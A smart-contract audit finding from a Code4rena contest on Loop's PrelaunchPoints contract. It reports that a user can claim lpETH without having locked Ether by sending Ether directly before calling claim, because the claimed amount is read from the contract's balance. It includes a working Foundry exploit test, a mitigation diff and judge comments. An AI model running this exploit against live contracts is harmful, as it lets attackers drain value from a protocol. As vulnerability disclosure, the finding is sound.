it is possible to claim `lpETH` anytime after the `startClaimDate` without locking assets from before

[howlbot-integration]

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/0dc8467ccff27230e7c0530b619524cc8401e22a/src/PrelaunchPoints.sol#L262

Vulnerability details

Impact

A malicious user can lock a minimum amount of an allowed ERC20 token like DAI during the lock time. They can then wait until the claim date begins and send Ether directly to the PrelaunchPoints contract. Afterward, they can call the claim() or claimAndStake() function.

This allows the user to claim lpETH based on the amount of Ether they just sent to PrelaunchPoints, not the amount they locked before, during the locking time.

The issue lies in the _claim() function where the claimedAmount is determined by address(this).balance, which can be manipulated by the user by sending Ether directly.

Proof of Concept

The foundry test testClaimLpEthWihtoutLocking demonstrates how this bug can be exploited.

./test/Bug.t.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.20;

import "forge-std/Test.sol";
import "../src/PrelaunchPoints.sol";
import "../src/interfaces/ILpETH.sol";

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "../src/mock/MockLpETH.sol";
import "../src/mock/MockLpETHVault.sol";
import {ERC20Token} from "../src/mock/MockERC20.sol";
import {LRToken} from "../src/mock/MockLRT.sol";

import "forge-std/console.sol";

contract Bug is Test {
    PrelaunchPoints public prelaunchPoints;

    ILpETH public lpETH;
    ILpETHVault public lpETHVault;
    ERC20Token public dai;
    bytes32 referral = bytes32(uint256(1));

    address constant EXCHANGE_PROXY = 0xDef1C0ded9bec7F1a1670819833240f027b25EfF;
    address public constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
    address public constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
    address public constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address[] public allowedTokens;

    function setUp() public {
        dai = ERC20Token(DAI);

        address[] storage allowedTokens_ = allowedTokens;
        allowedTokens_.push(DAI);

        prelaunchPoints = new PrelaunchPoints(EXCHANGE_PROXY, WETH, allowedTokens_);

        lpETH = new MockLpETH();
        lpETHVault = new MockLpETHVault();
    }

    function testClaimLpEthWihtoutLocking() public {
        address user = makeAddr("maliciousUser");

        // provide user with 1 dai and 1 ether
        uint daiAmount = 1e18;
        vm.deal(user, 1 ether);
        deal(DAI, user, daiAmount, true);

        // user lock 1 dai in prelaunchpoints contract
        vm.startPrank(user);
        dai.approve(address(prelaunchPoints), daiAmount);
        prelaunchPoints.lock(DAI, daiAmount, referral);
        vm.stopPrank();

        // owner set loop addresses
        prelaunchPoints.setLoopAddresses(address(lpETH), address(lpETHVault));

        // 7 days pass
        vm.warp(block.timestamp + prelaunchPoints.TIMELOCK() + 1);

        // owner converts ETHs to lpETHs
        prelaunchPoints.convertAllETH();

        // after 1 second users are able to claim their lpETHs
        vm.warp(block.timestamp + 1);

        // fetching quote data from 0x api using getSwapData.js
        string[] memory cmds = new string[](2);
        cmds[0] = "node";
        cmds[1] = "./test/getSwapData.js";
        bytes memory data = vm.ffi(cmds);

        vm.startPrank(user);
        // user sends 1 ether directly
        payable(address(prelaunchPoints)).transfer(1 ether);
        // then calls claim function
        prelaunchPoints.claim(
            DAI,
            100,
            PrelaunchPoints.Exchange.TransformERC20,
            data
        );
        vm.stopPrank();

        uint balance = lpETH.balanceOf(user);
        console.log(balance);

        // this being true means, user can get lpETHs instantly without locking his ETHs
        assert(balance >= 1e18);
    }
}

the file used alongside foundry test to get 0x api swap data

./test/getSwapData.js

const ZEROX_API_KEY = "";
const ETH = "0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE";
const DAI = "0x6B175474E89094C44Da98b954EedeAC495271d0F";
const AMOUNT = 1e18;


// Get Quote from 0x API
const headers = { "0x-api-key": ZEROX_API_KEY }

fetch(`https://api.0x.org/swap/v1/quote?buyToken=${ETH}&sellAmount=${AMOUNT}&sellToken=${DAI}&includedSources=Uniswap_V3`,
    { headers }
).then((quoteResponse) => {

    quoteResponse.json().then((quote) => {
        console.log(quote.data)
    })

})

Tools Used

Manual audit

Foundry

Recommended Mitigation Steps

easiest way to fix this issue is to modify the _fillQuote function to return the boughtETHAmount and in the _claim() function, set the claimedAmount equal to it.

-  function _fillQuote(IERC20 _sellToken, uint256 _amount, bytes calldata _swapCallData) internal {
+  function _fillQuote(IERC20 _sellToken, uint256 _amount, bytes calldata _swapCallData) internal returns (uint256 boughtETHAmount) {
        // Track our balance of the buyToken to determine how much we've bought.
        //ai bad variable naming
-        uint256 boughtETHAmount = address(this).balance;
+        boughtETHAmount = address(this).balance;

        require(_sellToken.approve(exchangeProxy, _amount));

        (bool success,) = payable(exchangeProxy).call{value: 0}(_swapCallData);
        if (!success) {
            revert SwapCallFailed();
        }

        // Use our current buyToken balance to determine how much we've bought.
        boughtETHAmount = address(this).balance - boughtETHAmount;
        emit SwappedTokens(address(_sellToken), _amount, boughtETHAmount);
    }

function _claim(address _token, address _receiver, uint8 _percentage, Exchange _exchange, bytes calldata _data)
        internal
        returns (uint256 claimedAmount)
    {
        uint256 userStake = balances[msg.sender][_token];
        if (userStake == 0) {
            revert NothingToClaim();
        }
        if (_token == ETH) {
            claimedAmount = userStake.mulDiv(totalLpETH, totalSupply);
            balances[msg.sender][_token] = 0;
            lpETH.safeTransfer(_receiver, claimedAmount);
        } else {
            uint256 userClaim = userStake * _percentage / 100;
            _validateData(_token, userClaim, _exchange, _data);
            balances[msg.sender][_token] = userStake - userClaim;

            // At this point there should not be any ETH in the contract
            // Swap token to ETH
-            _fillQuote(IERC20(_token), userClaim, _data);

            // Convert swapped ETH to lpETH (1 to 1 conversion)
-            claimedAmount = address(this).balance;
+            claimedAmount = _fillQuote(IERC20(_token), userClaim, _data);
            lpETH.deposit{value: claimedAmount}(_receiver);
        }
        emit Claimed(msg.sender, _token, claimedAmount);
    }

Assessed type

Context

[0xd4n1el]

This is not a problem for the points program or user funds, but we do see other kind of issues arising from it

[c4-judge]

koolexcrypto marked the issue as primary issue

[c4-judge]

koolexcrypto changed the severity to 3 (High Risk)

[c4-judge]

koolexcrypto marked the issue as duplicate of #33

[c4-judge]

koolexcrypto marked the issue as satisfactory